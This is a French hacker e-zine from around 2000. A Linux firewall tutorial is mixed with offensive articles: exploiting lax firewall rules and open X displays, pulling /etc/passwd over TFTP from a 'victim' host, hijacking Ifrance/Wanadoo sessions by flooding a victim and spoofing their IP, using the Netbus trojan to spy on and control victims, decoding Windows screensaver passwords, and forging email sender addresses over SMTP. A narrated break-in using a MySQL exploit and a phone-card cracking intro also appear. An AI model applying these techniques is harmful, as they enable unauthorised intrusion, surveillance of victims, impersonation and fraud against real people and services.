Le routeur prend en charge les paquets jusqu'à la couche IP. Le routeur transmet chaque paquet en fonction de l'adresse de destination du paquet et de la route vers la destination précisée dans la table de routage . Par contre le firewall ne transmet pas les paquets . Le pare feu accepte les paquets et les prend en charge jusqu'à la couche application .
II Les différents types .
1/Filtres
de paquet .
Un firewall de ce type inspecte tous les paquets qu'il recoie et regarde s'ils correspondent aux règles préalablement établis. S'il respecte les règles il est accepté sinon il est rejeté . Les critères des règles peuventêtre par exemple l'adresse IP , les ports sources et destination contenu dansles paquets .
2/
Les Proxy .
Lorsqu'un firewall de type proxy est utilisé sur un réseau , il n'y a aucune connexion directe entre les systèmes du réseau local et le réseau Internet . Les machines internes se connectent en fait au firewall pour lui demander un service . Après le FW se charge de relayer la requête au serveur Internet puis de renvoyer la réponse au client interne
3/Les
hybrides .
La je peux pas dire grand chose dessus .
III Filtre de paquet
ÞLa technologie de filtre de paquets est incluse dans le noyau de Linux . Le filtre doit agir dans la pile IP du système . Pour utiliser cette technique vous allez devoir une fois de plus recompiler le noyau (Youpi vous allez bien vous marrez ) et répondre YES aux questions suivantes :
IP : forwarding/gatewaying
(CONFIG_IP_FORWARD) YES
IP : firewalling
(CONFIG_IP_FIREWALL) YES
IP : firewall packet logging
(CONFIG_IP_FIREWALL_VERBOSE) YES
Le noyau compilé , installé , redémarré vous allez être en mesure de configuré le FW.ÞPour cela on va utilisé ipfadm .
La syntaxe générale est :
ipfwadm -A commande paramètres [options]
ipfwadm -I commande paramètres [options]
ipfwadm -O commande paramètres [options]
ipfwadm -F commande paramètres [options]
ipfwadm -M [-l ou -s] [options]
Comme vous venez de le voir il y a cinq catégories :
-A configuration de l'accounting (compatibité des paquets atteignant le système) .
-I règles à appliquer aux paquets TCP/IP en entrée .
-O règles à appliquer aux paquets TCP/IP en sortie .
-F règles à appliquer aux paquets TCP/IP à router d'une interface à une autre .
-M administration de l'IP Masquerading .
Perso je pourrais vous parler que des categories I , O , F , M. ipfwadm possède de très nombreuses options que je vais pas décrire ici par ce j'ai pas envie ! Lisez la doc Linux .
ÞAvant de créer toute règles de filtre IP , vas falloir définir des règles de sécurité .
Par exemple pour ma machine on va dire :
n Toute connexion du réseau internet vers une machine interne est interdite .n De extérieur , on doit avoir accès au serveur de messagerie et au service DNS du firewall .On va dire qu'on a un réseau interne de type 193.1.1.0/24 et qu'on est relié à un sous réseau de type 193.1.2.0/24 (entre le FW et le routeur) . Le FW ayant pour adresse 193.1.1.254 en interne (eth0) et 193.1.2.1 en externe (eth1) .
Je vais maintenant dire quelques uns des filtres que j'applique
-ipfwadm -O -p accept
La règle par défaut des paquets en sortie est accept (-p représente l'action
par défaut)
- ipfwadm -I -p deny
La règle par défaut des paquets en entrée est deny .
-ipfwadm -F -p deny
La règle par défaut des paquets à router en entrée est deny .
-ipfwadm -F -a accept -S 193.1.1.0/24 -D0/0 -P tcp
Autorisation pour router tous les paquets TCP provenant de l'extérieur .
-ipfwadm -I -a deny -S 193.1.1.0/24
-D0/0 -W eth1
Cette commande sert à lutter contre le SPOOFING (changer son adresse IP) en effet cette règle dit que tous les paquets qui rentrent dans le sous réseau sécurisé et qui ont une adresse source correspondant à une adresse du sous réseau (ce qui n'est pas logique) doivent être rejeté !
-ipfawadm -I -a accept -P udp -S0/0
-D 193.2.1.1 53
-ipfawadm -I -a accept -P tcp -S0/0
-D 193.2.1.1 53
Ces mesures disent que les accès au serveur DNS (port 53) sont accessible de n'importe où .
-ipfawadm -I -a accept -P udp -S0/0
-D 193.2.1.1 25
Accès au serveur SMTP du firewall de n'importe où .
Malheureusement on retrouve là le plus grand inconvenient des FW . En effet dans l'état actuelle système on ne pourra pas faire fonctionner un client FTP du réseau interne avec un serveur situé à l 'extérieur . Le protocole FTP prévoit l'établissement d'une connexion du serveur FTP vers le client (du port 20 -> port > 1024)
Mais il y a des solutions .
- Utiliser le client FTP en mode passif (A ce moment le client établit une
connexion vers le serveur ftp)
- Utiliser un proxy(voir section suivante) installé sur le FW qui relaiera
les requêtes de l'intérieur vers extérieur .
- Utiliser l'IP masquerading .
- Ou alors rajouter cette règle
ipfwadm -F -a accept -P tcp -S0/0 20 -D
193.1.1.0/24 1024-65535
Remarque intéressante : Si vous tombez sur un système avec une règle de ce type , vous pouvez en profitez , en effet cette règle expose les services du réseau interne qui écoutent sur un port >1024 . A partir de la vous avez plus qu'a fait partir un paquet du port 20 de votre machine vers un service .Beaucoup de services tournent sur ce port .
Par exemple pour sur les ports 6000vous avez les services X-Windows . S'ils n'ont pas été protége correctement vous pouvez matter ce que fait le mec ! Vous pouvez mêmes voir les touches frappées , les programmes lancées . Si vous faites telnet dessus vous aurez je pense l'effet d'un denial of service ; l'écran va se geler , le sys va ralentir ... Mais il y a plus rigolo !
SI vous vous y connaissez un peu en programmation utilisez la fonction XOpenDisplay() , si la fonction retourne NULL alors c'est securise sinon ...
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Loupe : %s\n", hostname);
} else {
printf("Ca marche : %s\n", hostname);
}
Il y a a autre chose auquel il faut penser . Normalement la route qu'emprunteun paquet de se source a sa destination est determinee par les routeurs qui se trouvent entre eux . En fonction de l'adresse de destination et de leur table les routeurs se chargent de dirigier les paquets . Mais dans une trame TCP/IP , il y a une option qui porte le nom de " source routing " qui est peu utilisee . En fait on l'utilise dans le debuggage des reseaux pour trouver les problèmes . Le truc c'est que si vous envoyez un paquet en faisant croire qu'il vient de l'interieur , normalement les routeurs ne devrait pas l'ammener au FW mais le probleme la c'est qu'ils le font avec cette option . En plus c'est pas hyper du a faire ! Mais normalement il y a des options pour desactiver le "source routing " .
Note : n'oubliez pas de configurer les clients de telle façon que le routeur par défaut soit le FW .
IV IP MASQUERADING .
ÞC'est une technique de plus en plus utilisée . Elle consiste à masquer totalement l'adressage IP du réseau interne ( On peut donc utiliser des adresses IP privées ) . Ainsi chaque paquet qui traverse le firewall est modifié pour faire croire qu'il n'y a qu'un seul système connecté . Tout le réseau interne partage ainsi l'adresse IP (externe) du FW .
ÞInstallation
:
Bon beh va falloir recompiler le noyau (c'est la fête !) et répondre YES aux questions :
IP : forwarding/gatewaying
(CONFIG_IP_FORWARD)
IP : firewalling
(CONFIG_IP_FIREWALL)
IP : firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE)
IP : masquerading (CONFIG_IP_MASQUERADE)
IP : ICMP masquerading (CONFIG_IP_MASQUERADE_ICMP)
(Répondez oui que si le FW doit router les paquets ICMP)
ÞMaintenant vous allez être en mesure d'utiliser une autre des 5 options
d'ipfwadm : l'option -M .
Pour cela utiliser l'option -l qui liste les connexions qui utilisent l'IP
masquerading et -s qui fixe le timeout .
Pour autoriser le masquerading il faudra les règles suivantes
- ipfwadm -F -p deny
- ipfwadm -F -a masquerade -S 192.10.10.0/24
-D0/0
V PROXY .
ÞD'après ce que j'ai lu et ce qu'on m'a dit la meilleure solution pour utiliser une machine Linux en proxy consiste à utiliser l'ensemble d'outils qu'offre TIS .Ils fournissent un package connu sous le nom de FW toolkit . Vous pouvez le telecharger sur le site Web de TIS http ://www.tis.com/docs/products/fwtk/index.html
ÞInstallation
Bon comme vous allez être un Proxy , il va falloir forcement désactiver la fonction de routeur de Linux . Pour cela on recompile le noyau en répondant NO au forwarding/gatewaying (CONFIG_IP_FORWARDING) . Vous êtes pas obligé de mettre cette option mais si vous ne le faites pas les machines du réseau interne seraient directement accessibles de l'extérieur à travers les possibilités du FW .
Si l'IP forwarding est laisse , alors la il y a une faille mais la je connais pas du tout ,en fait la solution serait de downer le firewall , ainsi le FW ne marcherait plus mais le noyau lui continuerait a router les paquets sans suivre les règles ! Pour ça , il y a des solutions diverses et pas très gentilles comme le SYN flooding et autres attaques barbares . Bon vous compilez les outils TIS en suivant les instructions .
ÞConfiguration
La table netperm réside dans le fichier /usr/local/etc/netprem-table . Cette table décrit la configuration principale de tous les composants du Trusted Firewall Toolkit . Quand une des applications est lancée elle va chercher sa config dans cette table
ÞDescription
:
-Netacl : Cette application permet de donner l'accès aux différents services
TCP . Ce programme se démarre depuis le super-démon inetd . Si par exemple on ajoute au fichier /etc/inetd.conf
telnet stream tcp nowait root
/usr/local/etc/netacl telnetd
Avec ca quand une requête atteint le port ftp du système netacl se démarre avec comme paramètre telnetd . Mais avant que le démon soit lance le logicielvérifie que la requête est valide selon la table . Par exemple si je veux autorise aux personnes de mon réseau interne de se connecter au telnet du FW faudra ajouter :
netacl-telnetd : permit-hosts 193.1.1.* -exec /usr/sbin/in.telnetd
(note 193.1.1.* équivaut à 193.1.1.0/24)
Après on a aussi tous les logiciels qui implementent un relais pour les services . En fait le client fait d'abord une requête au service du FW puis de la fait une requête pour se connecter au site extérieur . Selon les règles du proxy cette connexion sera refusée ou acceptée .
-tn-gw : relais pour le service telnet .
-ftp-gw : relais pour le service ftp .
-rlogin-gw : relais pour le proxy rlogin .
-http-gw : relais pour client HTTP et gopher .( pratique pour empêcher certaines applications JAVA ) ....
Il y en a d'autres mais je les connais pas tous donc pour plus de renseignement allez voir vous même !
exemple de config de /usr/local/etc/netperm-table :
tn-gw : deny-hosts * -dest 193.1.1.*
Interdiction a ces machines d'accéder au service telnet .
tn-gw : permit-hosts 193.1.1.25
autorise la machine 193.1.1.25 a accéder au service telnet .
Pas compliqué et je vous jure que c'est incroyable tout ce que l'on peut faire et les espèces de trou dans la sécurité que ca peut faire !
VI
Assainissement et protection du Firewall .|
Bon vous avez compris , quand on veut attaquer un système qui possède un FW il y a pas 36 choix il faut attaquer le FW . Alors reste plus qu'à trouver les points faibles et donc il faut vérifier la protection de cette machine . On va maintenant voir comment on assainie un Firewall . Premièrement, regardez le fichier /etc/inet.conf. Ce fichier est ce qu'on appelle un "super-serveur". Il lance un tas de démons serveurs sur demande .Il contient la liste des services offerts . Il faut enlever tous les services qui ne sont pas parfaitement obligatoire comme NIS, NFS, rsh, rcp, netstat,systat,tftp,bootp et finger...
NOTE qui peut faire gagner du temps : Il n'est pas nécessaire de tout désactiver. Pour désactiver un service, placez simplement un # devant. Ensuite envoyez un signal SIG-HUP au processus inetd, selon la syntaxe suivante : kill -HUP <pid>, ou pid est le numéro du processus inetd. (Pour avoir le PID si vraiment vous êtes débutant sous Linux , faites ps -uax |grep inetd ) . Cela force inetd a relire son fichier de configuration (inetd.conf) et a se relancer .
Petite astuce :
Si TFTP est ouvert tenté le coup , ce protocole permet de transférer des fichiers comme ftp mais s'appuie sur le protocole UDP. Il est donc moins sur et ne peut servir que pour les fichiers de petite taille . Mais surtout il ne demande pas de MOT DE PASSE ET DE COMPTE UTILISATEUR ! Donc tout utilisateur qui a accès au port 69a accès à tous les fichiers lisibles par le démon correspondant . Il y a peut être de bonnes infos à prendre .
tentez ca :
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
Pour la sécurité Il faut aussi bien évidemment supprimer tous les comptes utilisateurs inutiles .
Il faut aussi supprimer tous les package installés qui n'ont rien à faire sur un firewall comme X window , les services NFS et Samba , les jeux (OK c'est discutable pour le dernier ) .....
Exemple type de machine ou on installe un firewall :
Je vais prendre mon PC , un 166MMX , 32 Mo de Ram et une partition de 800 Meg pour Linux avec une connexion PPP a un fournisseur Internet (ça je l'ai pas encore L ) par un modem 36,6 kbps. Pour en faire un firewall , On ajoute un carte ethernet compatible NE2000. Il est alors connecte a trois autres PC . Et voilà un firewall typique .
ÞPour protéger le firewall (en effet c'est lui qui va se prendre dans la gueule toutes les attaques) il faut utiliser un filtre de paquet . Pour faire ca on recompile le noyau avec ces options :
IP : forwarding/gatewaying (CONFIG_IP_FORWARD) NO
IP : firewalling
(CONFIG_IP_FIREWALL) YES
IP : firewall packet logging
(CONFIG_IP_FIREWALL_VERBOSE) YES
On s'inspira des règles sur le filtrage des paquets exposé dans le III notamment celle contre le spoofing !
tromh@yahoo.com www.altern.org/trom
Greetings : C-A, R3Z0 , Kortex
agency , i-e , tous les gars sur #hack.fr (undernet)
Faille sur Ifrance
|
Vous devez sûrement
connaître Ifrance ? l’hébergeur gratuit. www.ifrance.com
Bon Ifrance soufre de la
même faille que wanadoo. Je m’explique :
Lorsque que vous allez sur
Ifrance et que vous allez regardez l’audience de votre site, vous entrez votre
login et passwd. Mais regardez, si vous quittez ifrance et que vous revenez, on
va pas vous demandez votre passwd et votre login, vous atterrirez directement
sur la page de gérance de votre site. Pourquoi allez vous me dire ? et
bien parce que ifrance utilise une identification par IP. Donc vous donnez une
fois votre passwd avec une IP et tant que vous avez cette IP il ne vous sera
plus demander votre passwd.
Wanadoo utilise à peu près
la même technique d’identification.
Vous allez me dire en quoi
cela est une faille ? pour certains vous aurez déjà compris mais je vais
expliquer :
Voila, imaginons que vous
êtes en chat avec un gas et que celui ci vas voir son site sur ifrance.
Normalement vous aurez aucun problème pour vous procurez l’ip de ce gas. Si
vous êtes sur IRC ou ICQ, ya pas de problemes ; si vous êtes sur un chat
du style odigo et bien utiliser un écouteur de ports qui vous dira l’ip de la
machine avec qui vous êtes connectée. Une fois que vous avez son ip, il ne vous
reste plus qu’a le déconnecter et a faire un spoof sur son ip. Pour le
déconnecter vous pouvez utiliser le nuke, le flood, le ping etc...
Une fois que vous avez son
ip, vous allez sur ifrance, vous cliquez sur « mon site » et la
magie, vous atterrissez sur la page de gérance du site au gas. Vous avez donc
son nom, prénom etc... ainsi que son passwd. Cela peut être utiliser par
exemple pour hacker son site, c’est plus rapide que d’utiliser un crackeur.
Enfin le mieux c’est quand même le SE.
Pour wanadoo, c’est
exactement la même chose. Vous pourrez avoir accès à l’espace personnel de la
personne. Et avoir toute les infos qui s’y trouve.
Il y a de nombreux services
qui fonctionne comme ça et qui présente cette faille. Si vous en connaissez et
bien maillez moi comme ça je pourrai faire une petite liste et je la mettrai
dans un futur zine.
By The JokeR
Netbus
|
Comment se servir de Netbus?
Quand on a débuté dans le
hacking, on a tous fait mumuse au moins une fois avec un cheval de Troie. C'est
pourquoi j'écris cet article qui s'adresse au débutants, car très souvent sur
le chat, on m'a demandé comment se servir de Netbus.
Je connaîs quelqu'un qui
dans la case où on met l'IP mettait le pseudo de la personne,et dans la case
pour le port, qui est 12345, mettait un truc du genre 19.396 ;-)))
Donc dans la case "Host
name/IP", mettez l'adresse IP de la cible, et dans la case
"Port", laissez 12345. Si vous le changez, ça marchera pas ! En
effet, le petit patch que vous avez, bien sûr, envoyez avant de vous connectez
au PC cible, sert à ouvrir le port 12345 de la machine adverse.
Maintenant que vous êtes
conectés, utilisez les commandes suivantes:
Server Admin: sert à fermer
ou à virer le serveur
Open CD-Rom: sert à ouvrir le
lecteur Cd-rom et de le refermer
Show image: sert à afficher
une image au format BMP ou JPG présente dans l'ordinateur de la victime
Swap mouse: sert à inverser
les boutons de la souris
Start program: sert à lancer
une application présente dans l'ordinateur de la victime
Msg manager: sert à envoyer
des messages d'erreurs (avec possibilité de mettre une case pour avoir une
réponse)
Get info: sert à afficher
des infos telles que l'emplacement du serveur et le nombre de personnes
connectées
Play sound: sert à jouer un
son présent dans l'ordinateur de la victime
Exit windows: permet de
déconnecter, redémarrer, mettre en veille et éteindre l'ordinateur de la
victime
Send text: permet d'envoyer
un texte à la victime
Active wnds: permet de voir,
focaliser, fermer les fenetres ouvertes chez la victime
Mouse pos: permet de mettre
le curseur de la victime en haut à gauche de son écran (à condition que les
coordonnées soient ( 0 ; 0 )
Listen: permet de voir tout
ce que la victime tape sur son clavier (et d'envoyer de courtes phrases)
Sound system: permet de
régler les volumes et de faire des captures audios
Server setup: menu de
modification du port et du pass
Control mouse: permet de
controler la souris de l'ordinateur distant
Go to URL: envoie la victime
à une addresse Internet de votre choix
Key manager: permet de faire
sonner une erreur à chaque tape et annules les touches désirées
File manager: permet
d'envoyer, de recevoir et d'effacer des fichiers
[Article proposé par GlÄdIÄThÖR]
0 800 900
272--BOITE--4012#
Cracker l’écran de veille
|
Comment cracker le pass de
l'écran de veille de Windows ?
Cette technique de cracking
est très simple, n'importe quel abruti pouvant la réaliser, et on en parle pas
souvent dans les zines, je l'ai vu qu'une fois, et c'était dans Pirates Mag'
n°6 je crois.
THEORIE:
Il suffit de récupérer la
chaîne de caractères héxadécimaux du pass dans la base de registres, de la
mettre en décimal, de faire un XOR avec la clé appropriée, et d'aller consulter
la table ASCII pour savoir à quel caractère correspond le résultat trouvé (la
table ascii est donnée un peu plus bas)
PRATIQUE:
Ouvrez la base de registres
en tapant "REGEDIT.EXE" dans >démarrer, >exécuter, puis faites
CTRL+F tapez "screensave_data".
Vous êtes maintenant à
l'endroit qui nous intéresse. Un double-clique sur "screensave_data",
et relevez l'expression héxa de la dernière colonne de la fenêtre qui s'est
ouverte en double-cliquant. ATTENTION !!! L'expression, suivant le nombre de
caractères du pass, peut être sur plusieurs lignes, il faut donc TOUT prendre !
Elle ressemblera à ça :
7A25369B
Décomposons-la par paires :
7A 25
36 9B <==il y a donc 4
caractères dans le pass, car 4 valeurs héxa.
Il ne reste plus qu'à
appliquer quelques opérations très simples avec la calculatrice de Win.
Ouvrez-la, et entrer la première valeur, 7A, en mode HEXADECIMAL (hex) !!!
Cliquez maintenant sur "dec" pour avoir la valeur décimale, ce qui va
donner : ........122 !
nb: la calculette doit être
en mode SCIENTIFIQUE.
Pour trouver enfin la valeur
ascii, il faut faire:
122 XOR clé.
Il nous manque donc la clé,
mais ne vous inquiétez pas, je l'ai calculé :o)
ATTENTION ! La clé change à
chaque caractère, je veux dire par làque pour le premier caractère, qui est
dans l'exemple 7A, soit 122, laclé aura une certaine valeur, mais plus on
avance, eh ben la clé change ! Pour le caractère n°2, qui est 25, ça sera une
autre clé, etc...
TABLEAU DES CLES:
Position Clé
1 72
2 238
3 118
4 29
5 103
6 105
7 161
8
27
9 122
10 140
11 71
12 248
Reprenons donc le calcul, en
utlilisant la clé 72, vu que c'est le premier caractère.
Toujours avec la calculette,
faites:
122 XOR 72 = 50, soit 2 dans
la table ascii ci-dessous:
Table ASCII standard (codes de caractŠres de 0 … 127)
000 (nul)
016 (dle) 032 sp
048 0 064 @ 080 P
096 ` 112 p
001 (soh) 017 (dc1) 033 ! 049 1 065 A
081 Q 097 a 113 q
002 [1]
(stx) 018 (dc2) 034 "
050 2 066 B 082 R
098 b 114 r
003
(etx) 019 (dc3) 035 # 051 3 067 C
083 S 099 c 115 s
004
(eot) 020 (dc4) 036 $ 052 4 068 D
084 T 100 d 116 t
005 (enq) 021 (nak) 037 % 053 5 069 E
085 U 101 e 117 u
006 (ack) 022
(syn) 038 & 054 6
070 F 086 V 102 f
118 v
007 (bel) 023
(etb) 039 ' 055 7
071 G 087 W 103 g
119 w
008 (bs) 024
(can) 040 ( 056 8
072 H 088 X 104 h
120 x
009 (tab) 025
(em) 041 ) 057 9
073 I 089 Y 105 i
121 y
010 (lf) 026 (eof) 042 *
058 : 074 J 090 Z
106 j 122 z
011 (vt) 027 (esc) 043 +
059 ; 075 K 091 [
107 k 123 {
012 (np) 028 (fs) 044
, 060 < 076 L 092 \ 108 l
124 |
013 (cr) 029
(gs) 045 - 061 =
077 M 093 ] 109 m
125 }
014 (so) 030 ‑ (rs) 046 . 062 > 078 N
094 ^ 110 n 126 ~
015 (si) 031 (us) 047 / 063 ? 079 O 095
_ 111 o 127
Table ASCII ‚tendue (codes de caractŠres de 128 … 255)
128
€ 129
130
‚ 131
ƒ 132
„ 133
… 134
† 135
‡ 136
ˆ 137
‰ 138
Š 139
‹ 140
Œ 141
142
Ž 143
|
144
145
‘ 146
’ 147
“ 148
” 149
• 150
– 151
— 152
˜ 153
™ 154
š 155
› 156
œ 157
158
ž 159
Ÿ |
160
161
¡ 162
¢ 163
£ 164
¤ 165
¥ 166
¦ 167
§ 168
¨ 169
© 170
ª 171
« 172
¬ 173
174
® 175
¯ |
176
° 177
± 178
² 179
³ 180
´ 181
µ 182
¶ 183
· 184
¸ 185
¹ 186
º 187
» 188
¼ 189
½ 190
¾ 191
¿ |
192
À 193
Á 194
 195 à 196 Ä 197 Å 198 Æ 199 Ç 200
È 201
É 202
Ê 203
Ë 204
Ì 205
Í 206
Î 207
Ï |
208
Ð 209
Ñ 210
Ò 211
Ó 212 Ô 213 Õ 214 Ö 215 × 216
Ø 217
Ù 218
Ú 219
Û 220 Ü 221 Ý 222 Þ 223 ß |
224
à 225
á 226
â 227
ã 228 ä 229 å 230 æ 231 ç 232
è 233
é 234
ê 235
ë 236
ì 237
í 238
î 239
ï |
240
ð 241
ñ 242
ò 243
ó 244 ô 245 õ 246 ö 247 ÷ 248
ø 249
ù 250
ú 251
û 252 ü 253 ý 254 þ 255 |
Vous pouvez vous entraîner
avec votre PC !
[Article proposé
par GlÄdIÄThÖR]
0 800 900
272--BOITE--4012#
Genese du hacking
|
il ya bien longtemps dans
une lointaine galaxie...
vivais une civilisation
cette civilisation
vivant en paie depuis des
millénaire
vit un jour lavenement du
mal
Des être malin ,visant
la domination de l’espèce humaine
En réaction cette civilisation forma des chevaliers, sages mais
puisant,
charger de faire respecter la justice et la vérité.
Ainsi ce forma 2 clans la deuxième ayant pour but d'étendre son
pouvoir
et d'asservire la population de part l'univers
S'en suivis durant des siècles une guerre sans merci durant la
quelle la lutte
était sans relâche jusqu au jour ou la perversité de certain
hommes, s'alliant
avec le mal pour quelque gains substantiel, provoqua la chute
progressive des jedi
Et les spolieur remportèrent une victoire
Mais ces jedimaster pourchassé ne périr pas tous certain vinrent
ce
réincarner sur une calme petite planète appeler TERRE
Ces justes grandirent et comme leur destin leur promettaient il se
mirent
a luter une fois encore contre des ennemis ayant eux aussi une
autre apparence
mais personnifiant toujours le mal (Ft, Win,...)qui une fois
encore allait
dominer une planète
Mais en tirant les leçons inconscientes du passé ces chevaliers
restèrent
cacher utilisant la meilleure façon possible de luter:
inventèrent le Hacking devenant par la même des guerriers de
l'ombre
De nos jour on ne sait que très peu de chose sur ces véritable
guerriers
car beaucoup sont très difficilement repérable mais tous ce
que l'on sait
ce que a chaque fois q'une entreprise, voulant étendre son pouvoir
,a de
sérieux problèmes : il ne sont pas loin...
MAY THE FORCE BE WITH YOU
by KuN Sh@doW
P.S Oui c tres manicheen Non
je ne suis pas americain
Exemple de hack n°2
|
Salut, tout le monde !
nous revoilà pour de nouvelles aventures comme promis !J
Cet fois c’est un peu plus
compliquer et il vous faudra Linux ! Aller on y vas :
Un soir en allant dans un bar
avec un pot, je vois sur le mur une affiche dégeulace (pour son thème). Donc je
me stop devant l’affiche et commence à l’insulter (enfin pas l’affiche mais la
personne qui avait dessus). Et pis tout un cou je vois en bas de l’affiche
marquer : www.xxx.fr en voyant ça je me
suis frotté les mains et j’ai retenue l’URL. Après ma ptite soirée, je suis
rentré chez moi (avec un peu de mal, mais j’y suis arriver !J ). Le lendemain je me met direct à regarder
ma futur cible (celle de l’affiche).
Donc comme d’habitude ( pour
ceux qui on pas lu le zine 3, je vous conseil de lire l’article sur exemple de
hack n°1), je fais un ptit fichier .txt
Je met dedans l’URL, l’IP de
ma victim. Ainsi que ce qu’elle utilise sur le port 80 ici c’est frontpage 4.0.4.3, je mets
également un whois avec l’adresse et le tel des responsables etc…(ainsi que
quelque autres infos élémentaires : cf zine n°3). Bien évidemment je pense
à spoofer mon ip avant de faire quoique ce soit ou bien je fais une beige box.
On continue la routine avec
un scan de ports, mais sur se cou la je vais pas faire un scan banal en tcp car
je me ferai loguer de suite par ma victime. Donc je vais faire un scan
« demi ouvert », je pourrai être plus prudent mais je pense que cela
sera suffisant pour ne pas me faire loguer. Je sors nmap et je l’utilise avec
l’option -s. En gros j’obtiens :
7 echo
22 ssh
1.5-1.2.20
21 ftp
25 smtp
80 www
110 pop3
111 portmap/sunrpc
389 ?
443 ?
513 rlogin
3306 mysql
il y avait d’autres ports ouvert
mais c’est sans grande importance.
Ensuite notre ptit scan CGI,
avec le quel j’obtient :
Recherche de
php.cgi : FAILLE !
Recherche de
_vti_inf.html : FAILLE !
Recherche de
shtml.dll : FAILLE !
Recherche de
shtml.exe : FAILLE !
Bah en voilà de jolie
choses ! J je crois que j’ai déjà pas
mal d’infos donc je vais m’arrêter la pour le moment., et examiner tout
ça :
Il y a 3 choses qui
m’intéresse particulièrement, il s’agit du port 22, 3306 et du port 111.
Sur ssh y a une petite
faille qui permet de faire l’effet d’un finger dessus. Et le port 111
m’intéresse car cela veut dire qu’il y a probablement NIS. Le port 3306
m’intéresse car ya une faille dans mysql.
La victime utilise apache
1.3.4 qui présente également une faille qui permet de créer un account a
distance.
Donc résumons : ya la
faille ssh, nis, apache, mysql plus les cgi. Et ya surement une ou des failles
dans frontpage. C’est largement suffisant !!
Donc je vais commencer par
vérifier NIS. Je fais un rpcinfo et j’ai confirmation que NIS est présent.
C’est une bonne chose, reste plus qu’a espérer que le NIS n’est pas protéger.
Donc je vais essayer :
lisez l’article sur NIS (+ haut) pour savoir comment faire.
Je n’arrive pas a trouver le
nom de domaine, les admins ont du être méfiant sur ce point. Je pourrai trouver
par une autre manière le nom de domaine mais bon je vais passer a autre chose.
Je vais voir si la faille
sur mysql est présente. Donc je me connecte en telnet sur le port 3306 de ma
victime, et comme je vois que je reste connecter et que la version affiché de
mysql n’est pas exempte de bugs, et bien je vais utiliser cela.
Je prend mon exploit pour
mysql et je l’applique gentiment. Voilà, ma cible is hacked ! J
Je précise que pour
l’instant tous les exemples de hack que j’ai fais sont des cas simplifier. En
général c pas aussi simple sauf si il s’agit de petit serveurs. Normalement la
prise d’empreinte est bien plus importante. J’essayerai de présenter dans le
prochain zine un exemple de vrai hack (avec des firewalls, dns etc…).
By The JokeR
Anonymail
|
Anonymail:
La technique que je vais
vous apprendre ici, sert à envoyer un mail de façon anonyme, grâce à TELNET.
Cela peut servir à foutre les boules à un copain, à un connard rencontré sur le
chat...
Le seul risque qu'il y a,
c'est que si la personne à qui vous envoyez un anonymail connaît cette
technique, et qu'elle a un doute sur l'authenticité du mail, il lui suffira de
lire le mail avec son navigateur, et d'afficher la source : elle pourra ainsi
voir par où est passé le mail.
Si vous recevez un mail
ayant passé par Infonie, puis par Wanadoo, y a de quoi se poser des
questions...
Comment faire ??
Ouvrez tout d'abord TELNET
en faisant
>Démarrer
>Exécuter
>telnet,
puis allez dans
>Terminal
>Préférences, et vérifiez
que l'option "echo local" soit coché, et que la taille de la zone
tampon ne soit pas inférieure à 25.
Allez ensuite dans
>Connexion
>Système distant, et complétez
la zone de texte "nom de l'hôte" par un servuer de courrier.
En voilà trois à utiliser:
-mail.infonie.fr
-mail.wanadoo.fr
-mail.club-internet.fr
Mettez 25 pour le port, et
comme terminal, mettez VT100 (normalement, c'est déjà coché).
Reste plus qu' appuyez sur
"Connecter" !
Une fois connecté, un
message d'accueil du serveur va s'afficher, il faut lui répondre
> HELO ESMTP
ATTENTION !!! Ce n'est pas
toujours ESMTP, cela dépend du serveur que vous avez pris (je crois que pour
infonie, c'est un autre truc, mais pour club-internet, c'est bon).
Tapez ensuite
>MAIL FROM:
<faux_login@faux_serveur.com>
Vous l'aurez compris, vous
mettez ce que vous voulez, c'est l'adresse que vous voulez que la victime voit
lors de la réception du mail.
Ensuite, tapez
>RCPT TO: <abruti@wanadoo.fr>
Ici, faut mettre l'adresse
mail du destinataire.
nb: Pour ces deux commandes
que vous aves taper, il faut qu'à chaque fois le serveur vous réponde ok,
sinon, faut recommencer. Ne croyez pas que c'est foutu si ça dit 4 fois de
suite pas ok, j'ai déjà du essayé 5 foisun jour !!!
Maintenant que tout ça est
fait, tapez
>DATA
Cette commande sert à
indiquer aus serveur que vous êtes prêt à taper le mail, et ce dernier va vous
répondre ce que vous devez faire pour valider la mail. Dans la plupart des cas
(ex: club-internet), ça sera écrit un truc du genre
==>end mail with "."
9a veut dire que pour
valider votre mail, il faudra mettre un pointtout seul sur une ligne et faire
entrer.
EXEMPLE:
Salut,
Vous mettez ici votre
message, et dès que c'est faite, on mets le point seul sur une ligne.
. <==le point seul sur
une ligne
Donc votre mail est envoyé,
et le serveur vous répond un truc en anglais (je ne sais plus quoi exactement)
pour vous dire que le mail a bien été expédié.
Tapez enfin "QUIT"
pour quitter le serveur.
[Article
proposé par GlÄdIÄThÖR]
0 800 900
272--BOITE--4012#
T1G
|
Crackage de FT®
ou plus précisément des télécartes T1G.
par QuanTuM (CrackHouse)
samedi 1 juillet 2000 (mise à jour septembre 2000)
Intro:
D'abord ,j'ai décidé de faire cet article à cause des lamers à 10 balles qui pensent qu'avec un ticket de métro ou avec une séance d'UV pour la carte ,on pouvait se servir des cabines sans payer!
Bon, c'est mon premier zine que j'écris alors soyez indulgent! ;-)
Je tiens aussi à dire que hacker ,c'est pas bien (pour les honnètes gens)! Je suis un honnête gens moi??? NAN! et toi???
Alors??
Donc d'abord , il existe 2 types de télécartes, celle dites de premières génération (T1G) et celle dites de secondes génération (T2G) (on reconnaît les T1G au fait qu'il n'y a pas écrit dessus T2G!! logique).Dans cette article, on va s'intéresser au T1G,les T2G étant beaucoup plus difficile à émuler du fait qu'elle contiennent un microprocesseur avec de puissant algorithme contre la fraude! (Ce sera pour un autre article!)
Contrairement à l'article de P.Gueulle (Pirate Mag Hors Série N°1), FT continue la distribution des T1G.
Sommaire:
La T1G : Qu'est ce qu'on trouve dedans??
La T1G : A quoi correspondent ces contacts??
La T1G : Enfin, on va jouer avec!
La T1G : Qu'est ce qu'on trouve dedans??
La
T1G est mémoire de type UVPROM (Ultra Violet Programmable Read Only Memory),
c'est à dire une mémoire que l'on peut effacer dans la théorie par des ultra
violet mais faut pas réver, la puce est protégée contre les UV par des couches
protectrices internes à elle.
Cette mémoire contient 256Bits réparti comme ceci (c'est un exemple de carte épuisée, on le voit aux 8 derniers bits à '1') :
En binaire: |
En Hexa: |
